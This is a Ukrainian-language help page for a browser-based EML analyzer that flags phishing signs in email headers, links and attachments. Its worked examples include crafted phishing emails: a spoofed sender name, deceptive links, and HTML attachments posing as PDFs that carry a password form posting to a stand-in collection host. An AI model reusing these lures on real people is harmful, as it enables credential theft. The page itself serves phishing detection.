Електронна пошта

Аналізатор EML-файлів

Працює локальноНовий

Сам інструмент доступний англійською мовою; на цій сторінці наведено пояснення вашою мовою.

Використовуйте Аналізатор EML-файлів

Як це працює

Перетягніть файл .eml або вставте вихідний код листа, щоб перевірити заголовки відправника, ланцюжок Received, посилання та вкладення. Усе працює у вашому браузері.

Програма працює повністю у вашому браузері: жодні введені вами дані не завантажуються.

Як користуватися Аналізатор EML-файлів

  1. Отримайте сирий лист. Збережіть лист як .eml або скопіюйте його вихідний код: у Gmail — Show original, в Outlook — View message source, у Thunderbird чи Apple Mail — View source. Файли Outlook .msg не читаються.
  2. Завантажте його. Перетягніть файл .eml у поле або виберіть його (до 50 МБ), чи вставте вихідний код у текстове поле (до 5 МБ) і натисніть Analyze (аналізувати).
  3. Прочитайте Summary. Висновки поділено на ознаки небезпеки, попередження, примітки та пройдені перевірки. Кожен рядок називає заголовок, посилання або вкладення, з якого він походить.
  4. Перевірте подробиці. Під підсумком розташовано заголовки відправника, домени, порівняні з доменом From, результати автентифікації, ланцюжок Received, кожне посилання й кожне вкладення.
  5. Заберіть індикатори. Позначте потрібні типи індикаторів, а потім скопіюйте їх у сирому або знешкодженому (defanged) вигляді, завантажте як файл .txt або скористайтеся Send to.

Приклад

Спеціально складений фішинговий лист

Вхідні дані
Return-Path: <bounce@mailer.example>
Received: from mx.example.org (localhost [127.0.0.1])
	by mx.example.org (Postfix) with ESMTP id 4QxYz1; Mon, 19 Oct 2026 09:15:07 +0000
Authentication-Results: mx.example.org; spf=softfail smtp.mailfrom=bounce@mailer.example;
	dkim=pass header.d=mailer.example header.s=s1; dmarc=fail header.from=account-check.example
Received: from smtp.mailer.example (smtp.mailer.example [203.0.113.45])
	by mx.example.org (Postfix) with ESMTPS id 4QxYz1; Mon, 19 Oct 2026 09:15:05 +0000
Received: from [192.168.10.20] (unknown [198.51.100.23])
	by smtp.mailer.example (Postfix) with ESMTPSA id 9A8B7C; Mon, 19 Oct 2026 09:14:58 +0000
DKIM-Signature: v=1; a=rsa-sha256; d=mailer.example; s=s1; h=from:to:subject; bh=AAAA; b=BBBB
From: "support@example.com" <alerts@account-check.example>
Reply-To: billing@example.net
To: user@example.org
Subject: Action required: verify your account
Date: Mon, 19 Oct 2026 09:14:57 +0000
Message-ID: <4471@mailer.example>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b1"

--b1
Content-Type: text/html; charset=utf-8

<p>Your account will be suspended. Verify it here:
<a href="https://login.example.net/verify">https://www.example.com/account</a></p>
--b1
Content-Type: text/html; name="invoice.pdf.html"
Content-Disposition: attachment; filename="invoice.pdf.html"
Content-Transfer-Encoding: base64

PGZvcm0gYWN0aW9uPSJodHRwczovL2NvbGxlY3QuZXhhbXBsZS5uZXQvcG9zdCI+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj48L2Zvcm0+
--b1--
Вихідні дані (зафіксовано 2026-10-20)
pasted source · 1.5 KB · 3 MIME parts · nothing left this browser

Summary
6 danger signs
Display name shows support[@]example[.]com but the real sender address is alerts[@]account-check[.]example
DMARC fail (reported by mx[.]example[.]org): the From domain did not authenticate this message
attachment invoice.pdf.html contains a form with a password field
Link text shows www[.]example[.]com but the link goes to login[.]example[.]net
Attachment "invoice.pdf.html": double extension: looks like .pdf but is .html
Attachment "invoice.pdf.html": .html opens in a browser: a common way to deliver fake login pages
2 warnings
Replies go to billing[@]example[.]net, a different domain than the sender (account-check[.]example)
SPF softfail (reported by mx[.]example[.]org) for bounce[@]mailer[.]example
2 notes
Return-Path domain mailer[.]example differs from the From domain: SPF does not cover account-check[.]example (normal for bulk-mail services)
No DKIM signature from account-check[.]example (signed by mailer[.]example): DKIM is not aligned
Sender and key headers
FROM	support[@]example[.]com <alerts[@]account-check[.]example>
REPLY-TO	<billing[@]example[.]net>
RETURN-PATH	<bounce[@]mailer[.]example>
TO	<user[@]example[.]org>
SUBJECT	Action required: verify your account
DATE	Mon, 19 Oct 2026 09:14:57 +0000 (2026-10-19 09:14:57 UTC)
MESSAGE-ID	<4471[@]mailer[.]example>
Domains compared with the From domain

From domain: account-check[.]example. DMARC passes only when SPF (Return-Path) or DKIM (d=) is from the same organization.

HEADER	DOMAIN	COMPARED WITH FROM
Reply-To	example[.]net
…

Відображуване ім'я, що видає себе за support@example.com, Reply-To і DKIM на інших доменах, DMARC fail, посилання, текст якого показує www.example.com, але веде на login.example.net, і вкладення invoice.pdf.html з формою для пароля.

Що перевіряється

СигналЩо це означає
Відображуване ім'я з адресою електронної поштиНебезпека, коли ім'я показує одну адресу, а справжній відправник — інший. Поштові програми часто показують лише ім'я.
Reply-To на іншому доменіПопередження: ваша відповідь піде до іншої організації, ніж відправник.
Authentication-ResultsDMARC fail і SPF fail — ознаки небезпеки; SPF softfail і DKIM fail — попередження. Враховується лише результат, доданий вашим власним провайдером.
Домени Return-Path і DKIM d=Відзначаються, коли вони відрізняються від домену From. Для сервісів масових розсилок це нормально, але для DMARC один із них має збігатися.
Ланцюжок ReceivedХопи показано від найстарішого із затримками. Позначаються мітка часу, раніша за попередній хоп, затримка понад годину або зворотний DNS із "may be forged" (можливо підроблено).
Текст і адреса посиланняНебезпека, коли видимий текст називає один домен, а посилання веде на інший, або коли текст перед @ приховує справжній хост. Також позначаються голі IP-адреси, punycode, скорочувачі посилань та обгорнуті посилання.
ВкладенняПозначаються подвійні розширення, файли, що виконують код або відкриваються в браузері, вміст, що не відповідає розширенню, і трюки з символом right-to-left override. Для кожного файлу обчислюються SHA-256, SHA-1 і MD5.
Форми та скрипти в HTMLФорма з полем для пароля в тілі листа чи у вкладенні — ознака небезпеки. Код скрипту у вкладенні — попередження.

Ще кілька прикладів

Посилання, що приховує IP-адресу

Вхідні дані
From: IT Desk <it@example.com>
To: you@example.org
Subject: Mailbox full
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <b2@example.com>
Content-Type: text/html

<p>Your mailbox is full. <a href="https://www.example.com@203.0.113.7/login">Upgrade storage</a></p>
Результат

1 ознака небезпеки, "1 link: text before "@" is ignored: the real host is 203.0.113.7" (текст перед @ ігнорується, справжній хост — 203.0.113.7), і 1 попередження, "1 link: link goes to a bare IP address" (посилання веде на голу IP-адресу). Таблиця Links показує знешкоджену адресу поруч із її текстом Upgrade storage.

HTML-сторінка, що видає себе за PDF

Вхідні дані
From: Accounts <billing@example.com>
To: you@example.org
Subject: Invoice
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <c3@example.com>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b"

--b
Content-Type: text/plain

Invoice attached.
--b
Content-Type: application/pdf; name="invoice.pdf"
Content-Disposition: attachment; filename="invoice.pdf"

<!DOCTYPE html><html><body><form action="https://collect.example.net/p"><input type="password" name="p"></form></body></html>
--b--
Результат

2 ознаки небезпеки: вкладення invoice.pdf "contains a form with a password field" (містить форму з полем для пароля), а його "content is HTML document, not .pdf" (вміст — HTML-документ, а не .pdf). Картка вкладення показує Content: HTML document і три хеші; таблиця Links містить адресу, куди надсилає форма, з приміткою "form submits data to this address".

Часті запитання

Що перевіряє EML Analyzer?

Він декодує заголовки й кожну частину MIME, порівнює домени From, Reply-To, Return-Path, DKIM d= і Message-ID та читає Authentication-Results. Також він показує хопи Received із затримками, кожне посилання з його видимим текстом і SHA-256, SHA-1 та MD5 кожного вкладення.

Чи може він довести, що лист фішинговий або безпечний?

Ні. Він показує факти й тривожні ознаки, а не вердикт: легітимні масові розсилки часто мають інший домен Return-Path або DKIM, а підписи DKIM лише перелічуються, але криптографічно не перевіряються. Файли Outlook .msg не підтримуються; спершу збережіть лист як .eml.

Чи вивантажується лист кудись?

Ні. Файл читається й розбирається у вашому браузері, HTML показується як текст і ніколи не відтворюється, і нічого не передається мережею. Кнопка Send to (надіслати до) передає результат на сторінку іншого інструмента через сховище сесії (session storage) вашого браузера.

Якому заголовку Authentication-Results він довіряє?

Тому, що доданий вашою власною поштовою системою: його розпізнано за ланцюжком Received і позначено "added by the recipient's server" (додано сервером одержувача). Заголовки нижче в листі може написати відправник, тож сторінка радить довіряти лише результату вашого провайдера.

Чи може він відкрити лист, вкладений в інший лист?

Так. Вкладений лист показано з його хешами та кнопкою "Analyze the attached message" (проаналізувати вкладений лист), яка відкриває його в тому самому вікні. "Back to the outer message" повертає до зовнішнього листа.

Чому деяких IP-адрес немає серед індикаторів?

Приватні та локальні адреси, а також хопи всередині поштової системи одержувача не включаються, бо вони не вказують на сервери відправника. Адреси електронної пошти одержувачів також ніколи не включаються.

Пояснення термінів

Дослідження PhishDestroy